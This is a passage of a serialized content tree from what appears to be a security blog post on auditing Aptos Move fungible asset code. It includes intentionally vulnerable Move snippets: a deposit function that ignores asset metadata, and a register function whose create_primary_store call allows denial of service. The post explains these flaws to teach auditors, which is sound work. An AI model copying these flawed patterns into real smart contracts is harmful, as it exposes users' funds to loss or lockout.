deposit",{"type":22,"tag":118,"props":63627,"children":63628},{"style":125},[63629],{"type":28,"value":559},{"type":22,"tag":118,"props":63631,"children":63632},{"style":131},[63633],{"type":28,"value":7997},{"type":22,"tag":118,"props":63635,"children":63636},{"style":210},[63637],{"type":28,"value":213},{"type":22,"tag":118,"props":63639,"children":63640},{"style":204},[63641],{"type":28,"value":7941},{"type":22,"tag":118,"props":63643,"children":63644},{"style":125},[63645],{"type":28,"value":8598},{"type":22,"tag":118,"props":63647,"children":63648},{"class":120,"line":142},[63649,63654,63658,63662,63666,63670,63675,63679],{"type":22,"tag":118,"props":63650,"children":63651},{"style":204},[63652],{"type":28,"value":63653},"    sender",{"type":22,"tag":118,"props":63655,"children":63656},{"style":210},[63657],{"type":28,"value":213},{"type":22,"tag":118,"props":63659,"children":63660},{"style":210},[63661],{"type":28,"value":1430},{"type":22,"tag":118,"props":63663,"children":63664},{"style":204},[63665],{"type":28,"value":9153},{"type":22,"tag":118,"props":63667,"children":63668},{"style":125},[63669],{"type":28,"value":231},{"type":22,"tag":118,"props":63671,"children":63672},{"style":204},[63673],{"type":28,"value":63674},"fa",{"type":22,"tag":118,"props":63676,"children":63677},{"style":210},[63678],{"type":28,"value":213},{"type":22,"tag":118,"props":63680,"children":63681},{"style":131},[63682],{"type":28,"value":63683}," FungibleAsset\n",{"type":22,"tag":118,"props":63685,"children":63686},{"class":120,"line":177},[63687,63691,63695,63699,63703],{"type":22,"tag":118,"props":63688,"children":63689},{"style":125},[63690],{"type":28,"value":588},{"type":22,"tag":118,"props":63692,"children":63693},{"style":204},[63694],{"type":28,"value":8353},{"type":22,"tag":118,"props":63696,"children":63697},{"style":125},[63698],{"type":28,"value":24983},{"type":22,"tag":118,"props":63700,"children":63701},{"style":210},[63702],{"type":28,"value":11589},{"type":22,"tag":118,"props":63704,"children":63705},{"style":125},[63706],{"type":28,"value":63707},"] {\n",{"type":22,"tag":118,"props":63709,"children":63710},{"class":120,"line":195},[63711,63716],{"type":22,"tag":118,"props":63712,"children":63713},{"style":532},[63714],{"type":28,"value":63715},"    assert_not_paused",{"type":22,"tag":118,"props":63717,"children":63718},{"style":125},[63719],{"type":28,"value":1098},{"type":22,"tag":118,"props":63721,"children":63722},{"class":120,"line":244},[63723],{"type":22,"tag":118,"props":63724,"children":63725},{"style":125},[63726],{"type":28,"value":63727},"    \n",{"type":22,"tag":118,"props":63729,"children":63730},{"class":120,"line":253},[63731,63735,63740,63744,63749,63753,63757,63761,63765,63769],{"type":22,"tag":118,"props":63732,"children":63733},{"style":146},[63734],{"type":28,"value":4152},{"type":22,"tag":118,"props":63736,"children":63737},{"style":204},[63738],{"type":28,"value":63739}," fa_amount",{"type":22,"tag":118,"props":63741,"children":63742},{"style":210},[63743],{"type":28,"value":837},{"type":22,"tag":118,"props":63745,"children":63746},{"style":125},[63747],{"type":28,"value":63748}," fungible_asset",{"type":22,"tag":118,"props":63750,"children":63751},{"style":210},[63752],{"type":28,"value":1190},{"type":22,"tag":118,"props":63754,"children":63755},{"style":532},[63756],{"type":28,"value":22270},{"type":22,"tag":118,"props":63758,"children":63759},{"style":125},[63760],{"type":28,"value":540},{"type":22,"tag":118,"props":63762,"children":63763},{"style":210},[63764],{"type":28,"value":1407},{"type":22,"tag":118,"props":63766,"children":63767},{"style":204},[63768],{"type":28,"value":63674},{"type":22,"tag":118,"props":63770,"children":63771},{"style":125},[63772],{"type":28,"value":682},{"type":22,"tag":118,"props":63774,"children":63775},{"class":120,"line":263},[63776,63780,63785,63789,63794,63798,63803],{"type":22,"tag":118,"props":63777,"children":63778},{"style":146},[63779],{"type":28,"value":4152},{"type":22,"tag":118,"props":63781,"children":63782},{"style":204},[63783],{"type":28,"value":63784}," sender_address",{"type":22,"tag":118,"props":63786,"children":63787},{"style":210},[63788],{"type":28,"value":837},{"type":22,"tag":118,"props":63790,"children":63791},{"style":532},[63792],{"type":28,"value":63793}," address_of",{"type":22,"tag":118,"props":63795,"children":63796},{"style":125},[63797],{"type":28,"value":540},{"type":22,"tag":118,"props":63799,"children":63800},{"style":204},[63801],{"type":28,"value":63802},"sender",{"type":22,"tag":118,"props":63804,"children":63805},{"style":125},[63806],{"type":28,"value":682},{"type":22,"tag":118,"props":63808,"children":63809},{"class":120,"line":318},[63810,63815,63819,63824,63828,63833],{"type":22,"tag":118,"props":63811,"children":63812},{"style":532},[63813],{"type":28,"value":63814},"    check_compliance",{"type":22,"tag":118,"props":63816,"children":63817},{"style":125},[63818],{"type":28,"value":540},{"type":22,"tag":118,"props":63820,"children":63821},{"style":204},[63822],{"type":28,"value":63823},"fa_amount",{"type":22,"tag":118,"props":63825,"children":63826},{"style":125},[63827],{"type":28,"value":231},{"type":22,"tag":118,"props":63829,"children":63830},{"style":204},[63831],{"type":28,"value":63832},"sender_address",{"type":22,"tag":118,"props":63834,"children":63835},{"style":125},[63836],{"type":28,"value":682},{"type":22,"tag":118,"props":63838,"children":63839},{"class":120,"line":351},[63840],{"type":22,"tag":118,"props":63841,"children":63842},{"style":125},[63843],{"type":28,"value":63727},{"type":22,"tag":118,"props":63845,"children":63846},{"class":120,"line":359},[63847,63852,63856,63861,63865,63869,63873,63877],{"type":22,"tag":118,"props":63848,"children":63849},{"style":532},[63850],{"type":28,"value":63851},"    increase_deposit",{"type":22,"tag":118,"props":63853,"children":63854},{"style":125},[63855],{"type":28,"value":540},{"type":22,"tag":118,"props":63857,"children":63858},{"style":532},[63859],{"type":28,"value":63860},"get_vault",{"type":22,"tag":118,"props":63862,"children":63863},{"style":125},[63864],{"type":28,"value":540},{"type":22,"tag":118,"props":63866,"children":63867},{"style":204},[63868],{"type":28,"value":63832},{"type":22,"tag":118,"props":63870,"children":63871},{"style":125},[63872],{"type":28,"value":17153},{"type":22,"tag":118,"props":63874,"children":63875},{"style":204},[63876],{"type":28,"value":63823},{"type":22,"tag":118,"props":63878,"children":63879},{"style":125},[63880],{"type":28,"value":682},{"type":22,"tag":118,"props":63882,"children":63883},{"class":120,"line":368},[63884],{"type":22,"tag":118,"props":63885,"children":63886},{"style":125},[63887],{"type":28,"value":63727},{"type":22,"tag":118,"props":63889,"children":63890},{"class":120,"line":384},[63891,63896,63900,63905,63909,63914,63918,63922],{"type":22,"tag":118,"props":63892,"children":63893},{"style":125},[63894],{"type":28,"value":63895},"    primary_fungible_store",{"type":22,"tag":118,"props":63897,"children":63898},{"style":210},[63899],{"type":28,"value":1190},{"type":22,"tag":118,"props":63901,"children":63902},{"style":532},[63903],{"type":28,"value":63904},"deposit",{"type":22,"tag":118,"props":63906,"children":63907},{"style":125},[63908],{"type":28,"value":540},{"type":22,"tag":118,"props":63910,"children":63911},{"style":532},[63912],{"type":28,"value":63913},"global_vault_address",{"type":22,"tag":118,"props":63915,"children":63916},{"style":125},[63917],{"type":28,"value":20341},{"type":22,"tag":118,"props":63919,"children":63920},{"style":204},[63921],{"type":28,"value":63674},{"type":22,"tag":118,"props":63923,"children":63924},{"style":125},[63925],{"type":28,"value":682},{"type":22,"tag":118,"props":63927,"children":63928},{"class":120,"line":417},[63929],{"type":22,"tag":118,"props":63930,"children":63931},{"style":125},[63932],{"type":28,"value":63727},{"type":22,"tag":118,"props":63934,"children":63935},{"class":120,"line":425},[63936,63941,63945,63950,63954,63959,63963,63967,63971,63975],{"type":22,"tag":118,"props":63937,"children":63938},{"style":125},[63939],{"type":28,"value":63940},"    event",{"type":22,"tag":118,"props":63942,"children":63943},{"style":210},[63944],{"type":28,"value":1190},{"type":22,"tag":118,"props":63946,"children":63947},{"style":532},[63948],{"type":28,"value":63949},"emit",{"type":22,"tag":118,"props":63951,"children":63952},{"style":125},[63953],{"type":28,"value":540},{"type":22,"tag":118,"props":63955,"children":63956},{"style":131},[63957],{"type":28,"value":63958},"Deposit",{"type":22,"tag":118,"props":63960,"children":63961},{"style":125},[63962],{"type":28,"value":47157},{"type":22,"tag":118,"props":63964,"children":63965},{"style":204},[63966],{"type":28,"value":63832},{"type":22,"tag":118,"props":63968,"children":63969},{"style":125},[63970],{"type":28,"value":231},{"type":22,"tag":118,"props":63972,"children":63973},{"style":204},[63974],{"type":28,"value":63823},{"type":22,"tag":118,"props":63976,"children":63977},{"style":125},[63978],{"type":28,"value":34961},{"type":22,"tag":118,"props":63980,"children":63981},{"class":120,"line":441},[63982],{"type":22,"tag":118,"props":63983,"children":63984},{"style":125},[63985],{"type":28,"value":481},{"type":22,"tag":31,"props":63987,"children":63988},{},[63989],{"type":28,"value":63990},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":22,"tag":31,"props":63992,"children":63993},{},[63994],{"type":28,"value":63995},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":22,"tag":23,"props":63997,"children":63999},{"id":63998},"fungible-stores",[64000],{"type":28,"value":64001},"Fungible stores",{"type":22,"tag":31,"props":64003,"children":64004},{},[64005],{"type":28,"value":64006},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":22,"tag":31,"props":64008,"children":64009},{},[64010,64012,64018],{"type":28,"value":64011},"Meet the ",{"type":22,"tag":114,"props":64013,"children":64015},{"className":64014},[],[64016],{"type":28,"value":64017},"FungibleStore",{"type":28,"value":292},{"type":22,"tag":107,"props":64020,"children":64022},{"className":109,"code":64021,"language":111,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[64023],{"type":22,"tag":114,"props":64024,"children":64025},{"__ignoreMap":7},[64026,64050,64077,64097,64116],{"type":22,"tag":118,"props":64027,"children":64028},{"class":120,"line":121},[64029,64033,64038,64042,64046],{"type":22,"tag":118,"props":64030,"children":64031},{"style":146},[64032],{"type":28,"value":11399},{"type":22,"tag":118,"props":64034,"children":64035},{"style":131},[64036],{"type":28,"value":64037}," FungibleStore",{"type":22,"tag":118,"props":64039,"children":64040},{"style":204},[64041],{"type":28,"value":11408},{"type":22,"tag":118,"props":64043,"children":64044},{"style":204},[64045],{"type":28,"value":7941},{"type":22,"tag":118,"props":64047,"children":64048},{"style":125},[64049],{"type":28,"value":1474},{"type":22,"tag":118,"props":64051,"children":64052},{"class":120,"line":142},[64053,64057,64061,64065,64069,64073],{"type":22,"tag":118,"props":64054,"children":64055},{"style":204},[64056],{"type":28,"value":63493},{"type":22,"tag":118,"props":64058,"children":64059},{"style":210},[64060],{"type":28,"value":213},{"type":22,"tag":118,"props":64062,"children":64063},{"style":131},[64064],{"type":28,"value":63502},{"type":22,"tag":118,"props":64066,"children":64067},{"style":125},[64068],{"type":28,"value":559},{"type":22,"tag":118,"props":64070,"children":64071},{"style":131},[64072],{"type":28,"value":63511},{"type":22,"tag":118,"props":64074,"children":64075},{"style":125},[64076],{"type":28,"value":241},{"type":22,"tag":118,"props":64078,"children":64079},{"class":120,"line":177},[64080,64085,64089,64093],{"type":22,"tag":118,"props":64081,"children":64082},{"style":204},[64083],{"type":28,"value":64084},"    balance",{"type":22,"tag":118,"props":64086,"children":64087},{"style":210},[64088],{"type":28,"value":213},{"type":22,"tag":118,"props":64090,"children":64091},{"style":131},[64092],{"type":28,"value":583},{"type":22,"tag":118,"props":64094,"children":64095},{"style":125},[64096],{"type":28,"value":782},{"type":22,"tag":118,"props":64098,"children":64099},{"class":120,"line":195},[64100,64104,64108,64112],{"type":22,"tag":118,"props":64101,"children":64102},{"style":204},[64103],{"type":28,"value":63154},{"type":22,"tag":118,"props":64105,"children":64106},{"style":210},[64107],{"type":28,"value":213},{"type":22,"tag":118,"props":64109,"children":64110},{"style":131},[64111],{"type":28,"value":1469},{"type":22,"tag":118,"props":64113,"children":64114},{"style":125},[64115],{"type":28,"value":782},{"type":22,"tag":118,"props":64117,"children":64118},{"class":120,"line":244},[64119],{"type":22,"tag":118,"props":64120,"children":64121},{"style":125},[64122],{"type":28,"value":481},{"type":22,"tag":31,"props":64124,"children":64125},{},[64126,64131,64133,64138,64140,64145,64147,64152,64154,64159],{"type":22,"tag":114,"props":64127,"children":64129},{"className":64128},[],[64130],{"type":28,"value":64017},{"type":28,"value":64132}," manages balances and metadata instead of holding the actual ",{"type":22,"tag":114,"props":64134,"children":64136},{"className":64135},[],[64137],{"type":28,"value":63452},{"type":28,"value":64139}," (it can't because ",{"type":22,"tag":114,"props":64141,"children":64143},{"className":64142},[],[64144],{"type":28,"value":63452},{"type":28,"value":64146}," doesn't have ",{"type":22,"tag":114,"props":64148,"children":64150},{"className":64149},[],[64151],{"type":28,"value":7950},{"type":28,"value":64153},"). Withdrawals create temporary ",{"type":22,"tag":114,"props":64155,"children":64157},{"className":64156},[],[64158],{"type":28,"value":63452},{"type":28,"value":64160}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":22,"tag":20760,"props":64162,"children":64163},{},[],{"type":22,"tag":31,"props":64165,"children":64166},{},[64167,64169,64174,64176,64181],{"type":28,"value":64168},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":22,"tag":114,"props":64170,"children":64172},{"className":64171},[],[64173],{"type":28,"value":63452},{"type":28,"value":64175}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":22,"tag":114,"props":64177,"children":64179},{"className":64178},[],[64180],{"type":28,"value":63452},{"type":28,"value":292},{"type":22,"tag":107,"props":64183,"children":64185},{"className":109,"code":64184,"language":111,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[64186],{"type":22,"tag":114,"props":64187,"children":64188},{"__ignoreMap":7},[64189,64226,64278,64321,64328,64335,64407,64419,64457,64476,64483],{"type":22,"tag":118,"props":64190,"children":64191},{"class":120,"line":121},[64192,64196,64200,64205,64209,64214,64218,64222],{"type":22,"tag":118,"props":64193,"children":64194},{"style":204},[64195],{"type":28,"value":63616},{"type":22,"tag":118,"props":64197,"children":64198},{"style":204},[64199],{"type":28,"value":8216},{"type":22,"tag":118,"props":64201,"children":64202},{"style":532},[64203],{"type":28,"value":64204}," destroy_zero",{"type":22,"tag":118,"props":64206,"children":64207},{"style":125},[64208],{"type":28,"value":540},{"type":22,"tag":118,"props":64210,"children":64211},{"style":204},[64212],{"type":28,"value":64213},"fungible_asset",{"type":22,"tag":118,"props":64215,"children":64216},{"style":210},[64217],{"type":28,"value":213},{"type":22,"tag":118,"props":64219,"children":64220},{"style":131},[64221],{"type":28,"value":63481},{"type":22,"tag":118,"props":64223,"children":64224},{"style":125},[64225],{"type":28,"value":16783},{"type":22,"tag":118,"props":64227,"children":64228},{"class":120,"line":142},[64229,64233,64237,64241,64245,64249,64254,64258,64262,64266,64270,64274],{"type":22,"tag":118,"props":64230,"children":64231},{"style":146},[64232],{"type":28,"value":4152},{"type":22,"tag":118,"props":64234,"children":64235},{"style":131},[64236],{"type":28,"value":63481},{"type":22,"tag":118,"props":64238,"children":64239},{"style":125},[64240],{"type":28,"value":11584},{"type":22,"tag":118,"props":64242,"children":64243},{"style":204},[64244],{"type":28,"value":22270},{"type":22,"tag":118,"props":64246,"children":64247},{"style":125},[64248],{"type":28,"value":231},{"type":22,"tag":118,"props":64250,"children":64251},{"style":204},[64252],{"type":28,"value":64253},"metadata",{"type":22,"tag":118,"props":64255,"children":64256},{"style":210},[64257],{"type":28,"value":213},{"type":22,"tag":118,"props":64259,"children":64260},{"style":204},[64261],{"type":28,"value":5064},{"type":22,"tag":118,"props":64263,"children":64264},{"style":125},[64265],{"type":28,"value":38143},{"type":22,"tag":118,"props":64267,"children":64268},{"style":210},[64269],{"type":28,"value":282},{"type":22,"tag":118,"props":64271,"children":64272},{"style":204},[64273],{"type":28,"value":63748},{"type":22,"tag":118,"props":64275,"children":64276},{"style":125},[64277],{"type":28,"value":801},{"type":22,"tag":118,"props":64279,"children":64280},{"class":120,"line":177},[64281,64286,64290,64294,64298,64302,64307,64311,64316],{"type":22,"tag":118,"props":64282,"children":64283},{"style":532},[64284],{"type":28,"value":64285},"    assert!",{"type":22,"tag":118,"props":64287,"children":64288},{"style":125},[64289],{"type":28,"value":540},{"type":22,"tag":118,"props":64291,"children":64292},{"style":204},[64293],{"type":28,"value":22270},{"type":22,"tag":118,"props":64295,"children":64296},{"style":210},[64297],{"type":28,"value":1780},{"type":22,"tag":118,"props":64299,"children":64300},{"style":674},[64301],{"type":28,"value":5074},{"type":22,"tag":118,"props":64303,"children":64304},{"style":125},[64305],{"type":28,"value":64306},", error",{"type":22,"tag":118,"props":64308,"children":64309},{"style":210},[64310],{"type":28,"value":1190},{"type":22,"tag":118,"props":64312,"children":64313},{"style":532},[64314],{"type":28,"value":64315},"invalid_argument",{"type":22,"tag":118,"props":64317,"children":64318},{"style":125},[64319],{"type":28,"value":64320},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":22,"tag":118,"props":64322,"children":64323},{"class":120,"line":195},[64324],{"type":22,"tag":118,"props":64325,"children":64326},{"style":125},[64327],{"type":28,"value":481},{"type":22,"tag":118,"props":64329,"children":64330},{"class":120,"line":244},[64331],{"type":22,"tag":118,"props":64332,"children":64333},{"emptyLinePlaceholder":15},[64334],{"type":28,"value":250},{"type":22,"tag":118,"props":64336,"children":64337},{"class":120,"line":253},[64338,64342,64346,64351,64355,64359,64363,64367,64371,64375,64379,64383,64387,64391,64395,64399,64403],{"type":22,"tag":118,"props":64339,"children":64340},{"style":204},[64341],{"type":28,"value":63616},{"type":22,"tag":118,"props":64343,"children":64344},{"style":204},[64345],{"type":28,"value":8216},{"type":22,"tag":118,"props":64347,"children":64348},{"style":204},[64349],{"type":28,"value":64350}," zero",{"type":22,"tag":118,"props":64352,"children":64353},{"style":125},[64354],{"type":28,"value":559},{"type":22,"tag":118,"props":64356,"children":64357},{"style":131},[64358],{"type":28,"value":7997},{"type":22,"tag":118,"props":64360,"children":64361},{"style":210},[64362],{"type":28,"value":213},{"type":22,"tag":118,"props":64364,"children":64365},{"style":204},[64366],{"type":28,"value":7941},{"type":22,"tag":118,"props":64368,"children":64369},{"style":125},[64370],{"type":28,"value":9617},{"type":22,"tag":118,"props":64372,"children":64373},{"style":204},[64374],{"type":28,"value":64253},{"type":22,"tag":118,"props":64376,"children":64377},{"style":210},[64378],{"type":28,"value":213},{"type":22,"tag":118,"props":64380,"children":64381},{"style":131},[64382],{"type":28,"value":63502},{"type":22,"tag":118,"props":64384,"children":64385},{"style":125},[64386],{"type":28,"value":559},{"type":22,"tag":118,"props":64388,"children":64389},{"style":131},[64390],{"type":28,"value":7997},{"type":22,"tag":118,"props":64392,"children":64393},{"style":125},[64394],{"type":28,"value":10391},{"type":22,"tag":118,"props":64396,"children":64397},{"style":210},[64398],{"type":28,"value":213},{"type":22,"tag":118,"props":64400,"children":64401},{"style":131},[64402],{"type":28,"value":63481},{"type":22,"tag":118,"props":64404,"children":64405},{"style":125},[64406],{"type":28,"value":1474},{"type":22,"tag":118,"props":64408,"children":64409},{"class":120,"line":263},[64410,64415],{"type":22,"tag":118,"props":64411,"children":64412},{"style":131},[64413],{"type":28,"value":64414},"    FungibleAsset",{"type":22,"tag":118,"props":64416,"children":64417},{"style":125},[64418],{"type":28,"value":1474},{"type":22,"tag":118,"props":64420,"children":64421},{"class":120,"line":318},[64422,64427,64431,64436,64440,64445,64449,64453],{"type":22,"tag":118,"props":64423,"children":64424},{"style":204},[64425],{"type":28,"value":64426},"        metadata",{"type":22,"tag":118,"props":64428,"children":64429},{"style":210},[64430],{"type":28,"value":213},{"type":22,"tag":118,"props":64432,"children":64433},{"style":125},[64434],{"type":28,"value":64435}," object",{"type":22,"tag":118,"props":64437,"children":64438},{"style":210},[64439],{"type":28,"value":1190},{"type":22,"tag":118,"props":64441,"children":64442},{"style":532},[64443],{"type":28,"value":64444},"convert",{"type":22,"tag":118,"props":64446,"children":64447},{"style":125},[64448],{"type":28,"value":540},{"type":22,"tag":118,"props":64450,"children":64451},{"style":204},[64452],{"type":28,"value":64253},{"type":22,"tag":118,"props":64454,"children":64455},{"style":125},[64456],{"type":28,"value":3853},{"type":22,"tag":118,"props":64458,"children":64459},{"class":120,"line":351},[64460,64464,64468,64472],{"type":22,"tag":118,"props":64461,"children":64462},{"style":204},[64463],{"type":28,"value":9455},{"type":22,"tag":118,"props":64465,"children":64466},{"style":210},[64467],{"type":28,"value":213},{"type":22,"tag":118,"props":64469,"children":64470},{"style":674},[64471],{"type":28,"value":5074},{"type":22,"tag":118,"props":64473,"children":64474},{"style":125},[64475],{"type":28,"value":782},{"type":22,"tag":118,"props":64477,"children":64478},{"class":120,"line":359},[64479],{"type":22,"tag":118,"props":64480,"children":64481},{"style":125},[64482],{"type":28,"value":1254},{"type":22,"tag":118,"props":64484,"children":64485},{"class":120,"line":368},[64486],{"type":22,"tag":118,"props":64487,"children":64488},{"style":125},[64489],{"type":28,"value":481},{"type":22,"tag":31,"props":64491,"children":64492},{},[64493],{"type":28,"value":64494},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":22,"tag":31,"props":64496,"children":64497},{},[64498,64500,64505],{"type":28,"value":64499},"In practice, the ability to freely mint and burn zero ",{"type":22,"tag":114,"props":64501,"children":64503},{"className":64502},[],[64504],{"type":28,"value":63594},{"type":28,"value":64506}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":22,"tag":1289,"props":64508,"children":64510},{"id":64509},"primary-and-secondary-stores",[64511],{"type":28,"value":64512},"Primary and secondary stores",{"type":22,"tag":31,"props":64514,"children":64515},{},[64516,64522,64524,64530,64532,64537],{"type":22,"tag":114,"props":64517,"children":64519},{"className":64518},[],[64520],{"type":28,"value":64521},"FungibleStores",{"type":28,"value":64523}," in comparison to ",{"type":22,"tag":114,"props":64525,"children":64527},{"className":64526},[],[64528],{"type":28,"value":64529},"CoinStores",{"type":28,"value":64531}," are not unique. Each user can have multiple ",{"type":22,"tag":114,"props":64533,"children":64535},{"className":64534},[],[64536],{"type":28,"value":64017},{"type":28,"value":64538}," objects for a given token!",{"type":22,"tag":31,"props":64540,"children":64541},{},[64542,64544,64551,64553,64558],{"type":28,"value":64543},"A primary fungible store is maintained via the aptly named ",{"type":22,"tag":42,"props":64545,"children":64548},{"href":64546,"rel":64547},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[46],[64549],{"type":28,"value":64550},"primary_fungible_store",{"type":28,"value":64552}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":22,"tag":114,"props":64554,"children":64556},{"className":64555},[],[64557],{"type":28,"value":63511},{"type":28,"value":64559}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":22,"tag":31,"props":64561,"children":64562},{},[64563],{"type":28,"value":64564},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":22,"tag":107,"props":64566,"children":64568},{"className":109,"code":64567,"language":111,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[64569],{"type":22,"tag":114,"props":64570,"children":64571},{"__ignoreMap":7},[64572,64597,64629,64652,64668,64722,64737],{"type":22,"tag":118,"props":64573,"children":64574},{"class":120,"line":121},[64575,64579,64584,64588,64593],{"type":22,"tag":118,"props":64576,"children":64577},{"style":204},[64578],{"type":28,"value":63616},{"type":22,"tag":118,"props":64580,"children":64581},{"style":204},[64582],{"type":28,"value":64583}," entry",{"type":22,"tag":118,"props":64585,"children":64586},{"style":204},[64587],{"type":28,"value":8216},{"type":22,"tag":118,"props":64589,"children":64590},{"style":532},[64591],{"type":28,"value":64592}," register",{"type":22,"tag":118,"props":64594,"children":64595},{"style":125},[64596],{"type":28,"value":696},{"type":22,"tag":118,"props":64598,"children":64599},{"class":120,"line":142},[64600,64605,64609,64613,64617,64621,64625],{"type":22,"tag":118,"props":64601,"children":64602},{"style":204},[64603],{"type":28,"value":64604},"    user",{"type":22,"tag":118,"props":64606,"children":64607},{"style":210},[64608],{"type":28,"value":213},{"type":22,"tag":118,"props":64610,"children":64611},{"style":210},[64612],{"type":28,"value":1430},{"type":22,"tag":118,"props":64614,"children":64615},{"style":204},[64616],{"type":28,"value":9153},{"type":22,"tag":118,"props":64618,"children":64619},{"style":125},[64620],{"type":28,"value":46075},{"type":22,"tag":118,"props":64622,"children":64623},{"style":210},[64624],{"type":28,"value":11589},{"type":22,"tag":118,"props":64626,"children":64627},{"style":125},[64628],{"type":28,"value":13772},{"type":22,"tag":118,"props":64630,"children":64631},{"class":120,"line":177},[64632,64636,64640,64644,64648],{"type":22,"tag":118,"props":64633,"children":64634},{"style":125},[64635],{"type":28,"value":588},{"type":22,"tag":118,"props":64637,"children":64638},{"style":204},[64639],{"type":28,"value":8353},{"type":22,"tag":118,"props":64641,"children":64642},{"style":125},[64643],{"type":28,"value":24983},{"type":22,"tag":118,"props":64645,"children":64646},{"style":210},[64647],{"type":28,"value":11589},{"type":22,"tag":118,"props":64649,"children":64650},{"style":125},[64651],{"type":28,"value":63707},{"type":22,"tag":118,"props":64653,"children":64654},{"class":120,"line":195},[64655,64660,64664],{"type":22,"tag":118,"props":64656,"children":64657},{"style":125},[64658],{"type":28,"value":64659},"    [",{"type":22,"tag":118,"props":64661,"children":64662},{"style":210},[64663],{"type":28,"value":11589},{"type":22,"tag":118,"props":64665,"children":64666},{"style":125},[64667],{"type":28,"value":13772},{"type":22,"tag":118,"props":64669,"children":64670},{"class":120,"line":244},[64671,64675,64680,64684,64689,64693,64697,64701,64705,64709,64713,64718],{"type":22,"tag":118,"props":64672,"children":64673},{"style":146},[64674],{"type":28,"value":4152},{"type":22,"tag":118,"props":64676,"children":64677},{"style":204},[64678],{"type":28,"value":64679}," wallet_store",{"type":22,"tag":118,"props":64681,"children":64682},{"style":210},[64683],{"type":28,"value":837},{"type":22,"tag":118,"props":64685,"children":64686},{"style":532},[64687],{"type":28,"value":64688}," create_primary_store",{"type":22,"tag":118,"props":64690,"children":64691},{"style":125},[64692],{"type":28,"value":9207},{"type":22,"tag":118,"props":64694,"children":64695},{"style":210},[64696],{"type":28,"value":1190},{"type":22,"tag":118,"props":64698,"children":64699},{"style":532},[64700],{"type":28,"value":9216},{"type":22,"tag":118,"props":64702,"children":64703},{"style":125},[64704],{"type":28,"value":540},{"type":22,"tag":118,"props":64706,"children":64707},{"style":204},[64708],{"type":28,"value":63802},{"type":22,"tag":118,"props":64710,"children":64711},{"style":125},[64712],{"type":28,"value":17153},{"type":22,"tag":118,"props":64714,"children":64715},{"style":532},[64716],{"type":28,"value":64717},"get_metadata",{"type":22,"tag":118,"props":64719,"children":64720},{"style":125},[64721],{"type":28,"value":17399},{"type":22,"tag":118,"props":64723,"children":64724},{"class":120,"line":253},[64725,64729,64733],{"type":22,"tag":118,"props":64726,"children":64727},{"style":125},[64728],{"type":28,"value":64659},{"type":22,"tag":118,"props":64730,"children":64731},{"style":210},[64732],{"type":28,"value":11589},{"type":22,"tag":118,"props":64734,"children":64735},{"style":125},[64736],{"type":28,"value":13772},{"type":22,"tag":118,"props":64738,"children":64739},{"class":120,"line":263},[64740],{"type":22,"tag":118,"props":64741,"children":64742},{"style":125},[64743],{"type":28,"value":481},{"type":22,"tag":31,"props":64745,"children":64746},{},[64747,64748,64754,64756,64762],{"type":28,"value":2743},{"type":22,"tag":114,"props":64749,"children":64751},{"className":64750},[],[64752],{"type":28,"value":64753},"create_primary_store",{"type":28,"value":64755}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":22,"tag":114,"props":64757,"children":64759},{"className":64758},[],[64760],{"type":28,"value":64761},"ensure_primary_store_exists",{"type":28,"value":64763}," is recommended to avoid such issues.",{"type":22,"tag":23,"props":64765,"children":64767},{"id":64766},"fungible-assets-and-objects",[64768],{"type":28,"value":64769},"Fungible assets and objects",{"type":22,"tag":31,"props":64771,"children":64772},{},[64773,64775,64780,64782,64789],{"type":28,"value":64774},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":22,"tag":114,"props":64776,"children":64778},{"className":64777},[],[64779],{"type":28,"value":50791},{"type":28,"value":64781}," module, introduced in ",{"type":22,"tag":42,"props":64783,"children":64786},{"href":64784,"rel":64785},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[46],[64787],{"type":28,"value":64788},"AIP-10",{"type":28,"value":292},{"type":22,"tag":1269,"props":64791,"children":64792},{},[64793],{"type":22,"tag":31,"props":64794,"children":64795},{},[64796,64800],{"type":22,"tag":118,"props":64797,"children":64798},{},[64799],{"type":28,"value":63391},{"type":28,"value":64801}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":22,"tag":31,"props":64803,"children":64804},{},[64805],{"type":28,"value":64806},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":22,"tag":1289,"props":64808,"children":64810},{"id":64809},"creation-and-deletion",[64811],{"type":28,"value":64812},"Creation and deletion",{"type":22,"tag":31,"props":64814,"children":64815},{},[64816,64818,64824],{"type":28,"value":64817},"To create a fungible resource, an undeletable object must first be created. 